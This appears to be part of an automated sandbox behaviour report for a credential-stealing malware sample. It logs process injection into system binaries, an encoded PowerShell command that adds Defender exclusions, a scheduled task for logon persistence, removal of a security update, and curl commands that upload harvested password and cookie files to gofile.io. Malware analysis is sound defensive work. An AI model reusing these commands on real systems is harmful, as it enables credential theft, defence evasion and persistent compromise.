Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 21EDEDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9A10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9CB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 22C72A90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 2117ABB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1EFFCFB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 232C8580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 1EFFD6B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1F4D5660000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\cmd.exe base: 2E131B70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\curl.exe base: 202C9380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20546460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20546490000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 21830400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DD54A30000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 15A09D60000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 26D3C460000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 1DCFB400000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\curl.exe base: 27AB9B50000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2067C540000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2067C390000

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAawBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAcgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdgBwACMAPgA="	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe "C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\Update.exe "C:\Users\user\AppData\Roaming\Update.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Users\user\AppData\Local\SecurityHealthServices.exe "C:\Users\user\AppData\Local\SecurityHealthServices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Process created: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Users\user\AppData\Roaming\SearchServices.exe "C:\Users\user\AppData\Roaming\SearchServices.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagwaawbsacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajaggaaqbzacmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajagqacgb2acmapgagac0argbvahiaywblacaapaajagmadgbwacmapga="
Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagwaawbsacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajaggaaqbzacmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajagqacgb2acmapgagac0argbvahiaywblacaapaajagmadgbwacmapga="			Jump to behavior

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 14_2_00007FFE0E167CA0 PyArg_ParseTuple,PyExc_TypeError,PyErr_SetString,GetSecurityDescriptorDacl,free,SetSecurityDescriptorDacl,GetSecurityDescriptorOwner,free,GetSecurityDescriptorGroup,free,free,free,

14_2_00007FFE0E167CA0

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 14_2_00007FFE0E168B20 _PyArg_ParseTuple_SizeT,PyErr_Clear,_PyArg_ParseTuple_SizeT,PyErr_Clear,_PyArg_ParseTuple_SizeT,PySequence_Check,PyExc_TypeError,PyErr_SetString,PySequence_Size,PySequence_Tuple,_PyArg_ParseTuple_SizeT,_Py_Dealloc,AllocateAndInitializeSid,PyExc_ValueError,PyErr_SetString,_Py_NewReference,malloc,memset,memcpy,

14_2_00007FFE0E168B20

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00000264CC2536F0 cpuid

5_2_00000264CC2536F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Queries volume information: C:\Users\user\AppData\Roaming\Update.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto VolumeInformation	Jump to behavior
